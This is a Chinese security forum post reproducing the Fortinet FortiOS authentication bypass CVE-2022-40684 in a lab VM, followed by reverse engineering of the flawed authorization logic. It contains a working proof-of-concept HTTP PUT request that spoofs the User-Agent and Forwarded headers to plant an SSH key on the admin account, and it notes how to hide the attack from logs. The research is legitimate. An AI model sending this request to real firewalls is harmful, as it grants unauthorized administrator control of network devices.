首页
社区
课程
招聘
[原创]CVE-2022-40684: 飞塔(Fortinet)防火墙身份认证绕过漏洞
发表于: 2022-11-28 20:44 24308

[原创]CVE-2022-40684: 飞塔(Fortinet)防火墙身份认证绕过漏洞

2022-11-28 20:44
24308

Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。近日,Fortinet官方发布安全公告,修复了其多个产品中的一个身份验证绕过漏洞(CVE-2022-40684),其CVSSv3评分为9.8。该漏洞可能允许攻击者在易受攻击的设备上执行未经授权的操作,攻击者通过向易受攻击的目标发送特制的 HTTP 或 HTTPS 请求进行绕过身份认证以管理员身份在控制面板中执行任意操作。

1、本次复现使用防火墙的版本为forigate-vm64 7.2.1,内部 Fotios 版本与防火墙版本一致,首先下载好虚拟机镜像,解压后,使用VMware导入:
图片描述
2、给forigate配置ip和网关,确保可以上网,首先打开虚拟机设置
图片描述
点击编辑,选择虚拟网络编辑器,查看VMnet8的子网IP和网关,下面forigate-vm的网关要和这里的保持一致,同时还要保证主机的网关也为192.168.27.2
图片描述
图片描述
3、打开虚拟机,初始账号admin 密码空,修改密码后重新登录

使用命令show system interface可以查看接口的信息。
图片描述

配置ip地址

图片描述
配置网关

ping一下,可以ping通
图片描述
4、打开浏览器输入192.168.27.99 进入登录界面,输入之前设置的账户密码登录
图片描述
需要验证,在官网注册FortiGate Cloud (forticloud.com)注册账号,在此处登录获取免费的试用license
图片描述
登录成功
图片描述
5、使用POC触发漏洞
POC如下:

使用xshell7 生成ssh公钥
图片描述
生成公钥
图片描述
发起攻击
图片描述
进行ssh连接
图片描述
无需知道防火墙密码,连接成功,可执行任意命令
图片描述

将forigate-vm中的fortios.vmdk复制出来进行分析
1、安装libguestfs
libguestfs 是一组 Linux 下的 C 语言的 API ,用来访问虚拟机的磁盘映像文件,几乎可访问任意类型的文件系统。

2、查看磁盘分区情况

3、挂载

4、挂载成功后,rootfs.gz为文件系统压缩包,我们将其复制出来

5、解压,提取,查看文件

图片描述
6、解压所有的压缩包,发现不能正常解压

7、尝试查找其他的解压程序

发生错误,将其修改至主机系统的链接器路径,patch后并保存

图片描述
图片描述
接下来,解压缩文件并开始检查其内容。我们发现包含大量二进制文件,其中许多是符号链接。以及该文件夹包含管理界面的前端 Web 代码,管理界面的 NodeJs 后端,以及一个 libaries 文件夹和一个配置文件夹。
8、查看官方的补丁,差异如下:
图片描述
此差异显示代理处理程序显式设置,和标头。这为我们提供了一个提示,说明从哪里开始寻找有关如何利用此漏洞的线索。
于是,进入到bin目录后寻找httpsd程序。httpsd是init程序的软连接,并且这里可以看出init程序非常大,逆向该程序比较费时。所以我们可以根据调试信息先来逆向程序逻辑。

图片描述
9、运行以下命令开启httpsd程序的调试信息

图片描述
使用poc进行测试,操作的信息会输出到屏幕上:
图片描述
图片描述
10、分析程序
在IDA pro中打开init程序,搜索字符串fweb_authorize_all进行定位,发现函数sub_C4B590调用了fweb_authorize_all函数
图片描述
进入到函数fweb_authorize_all中,分析可得,在身份认证过程中,首先调用fweb_authorize_all判断v2[8]是否等于"127.0.0.1",即判断是否本机访问。
图片描述
如果本机访问则sub_C50E80函数内部继续判断接口如果是否为vsys_fgfm接口。
图片描述
随后取Forwarded头的value值,strstr函数查找"for="的位置,随后执行if结构体内容,再次判断Forwarded_header_content_tmp中是否存在"by"字符,如果判断不通过并不会进入到api_check_access函数中。
图片描述
从该函数中退出来,继续往上跟踪,发现在地址C4AC70处,先调用了sub_C4B590函数,然后ap_hook_handler hook了sub_C4AC60函数
图片描述
进入到sub_C4AC60函数
图片描述
接着往下进入函数sub_C4C480,发现这里出现了调试信息里的fweb_debug_final,我们分析的方向应该没错
图片描述
从fweb_debug_final往上看,进入sub_C4BF20函数
图片描述
sub_C4BF20函数返回了sub_C4BB20函数,进入该函数,发现了调试信息出现的字符fweb_debug_init
图片描述
重新回到sub_C4C480,接下来看一下fweb_debug_init与fweb_debug_final之间的两个函数v3[1]函数和sub_C4C2A0。首先,我们跟进分析一下v3[1]函数,往上看,v3=a2,而a2是函数sub_C4C480的参数
图片描述
通过交叉引用,发现a2参数为off_3FEA400函数数组的地址
图片描述
继续往下
图片描述
发现从此处会调用一系列hanler函数,这里v3应该对应sub_c929F0函数。查看sub_c929F0函数,函数中调用了api_check_access函数,并且程序会根据api_check_access返回值返回用户对应响应码的reponse。
图片描述
进入api_check_access函数中进行查看
图片描述
该函数中无任何输出,分析后发现sub_c929F0函数中调用了handle_cli_request输出了调试信息。该handler函数执行完毕并返回执行fweb_debug_final函数,随后结束该次event响应。到此处,我们大概知道了API的调用流程,但调试界面的一些信息我们并没有跟踪到,在IDA中搜索api_access_check_for_trusted_access字符,发现api_access_check_for_trusted_access函数中调用sub_C510D0,传入参数为"Node.js"
图片描述
sub_C510D0函数中判断表单中User-Agent的value值是否与Node.js是否相同,如果不是"Node.js",则判断User-Agent的value值是否与Report Runner是否相同
图片描述
进入到以上俩种方式中的某一种,用户赋值为"Local_Process_Access",此时会绕过身份认证。分析到这里,我们就可以知道要想攻击成功,需要设置Forwarded头value值必须为"for=",后面可以设置127.0.0.1来隐藏防火墙中的攻击记录,而User-Agent的value可以设置"Node.js"和"Report Runner"俩种中的一个。到此分析完毕。
参考链接:
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/
https://www.ctfiot.com/70650.html
https://zhuanlan.zhihu.com/p/575575181

7.0.0 <= FortiOS <= 7.0.6
7.2.0 <= FortiOS <= 7.2.1
7.0.0 <= FortiProxy <= 7.0.6
FortiProxy = 7.2.0
FortiSwitchManager = 7.0.0
FortiSwitchManager = 7.2.0
7.0.0 <= FortiOS <= 7.0.6
7.2.0 <= FortiOS <= 7.2.1
7.0.0 <= FortiProxy <= 7.0.6
FortiProxy = 7.2.0
FortiSwitchManager = 7.0.0
FortiSwitchManager = 7.2.0
show system interface
show system interface
 
config system interface
set mode static
set ip 192.168.27.99 255.255.255.0
set allowaccess http https ping ssh
end
config system interface
set mode static
set ip 192.168.27.99 255.255.255.0
set allowaccess http https ping ssh
end
config router static
edit 1
set device port1
set gateway 192.168.27.2
end
config router static
edit 1
set device port1
set gateway 192.168.27.2
end
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: 192.168.27.99
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Connection:close
Forwarded: for=127.0.0.1; by=127.0.0.1;
Content-Type:application/json
Content-Length: 427
{
"ssh-public-key1": ""ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsEIb3qw+aveFIyn2bV+ZSsrgAoVKJN5TEjTtVEBq8i/C050DSFxXvQiEIm73Kc9H+6oHDU5A1ziEfMu12hSK7sJ6ThDd6Qvn9DjOtWKRUVDLzIHZGQq7v3YEg6H9MXkvx3NrcSOoIuTUEhCKo/ev56qx+BC6rsy28VAO9Bh4qzUWdlafQrpUHCbC4fGDdhPl7pEVPuCrauzP+FowrWD6CWnulTv3LkS7frlXj8SOpWOs+fZFq0FRUKZWnB2oAwl4/i9WM76D9PVXefbx4OMEc/rExTSLj4tJhORCpLRfd0IAJATKTydgUrBHefO/I0HjnjMzyIcj/VmMwEvQeWTMIw== rsa 2048-112522""
}
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: 192.168.27.99
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Connection:close
Forwarded: for=127.0.0.1; by=127.0.0.1;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (2)
雪    币: 15170
活跃值: (16832)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
其实可以再添加一些对于漏洞后续利用的内容,比如利用场景、防护手段等等。
2022-11-29 09:31
0
雪    币: 420
活跃值: (680)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
解压tar.xz的时候可以使用chroot的方式,不使用patchelf
2023-12-7 15:07
0
游客
登录 | 注册 方可回帖
返回
//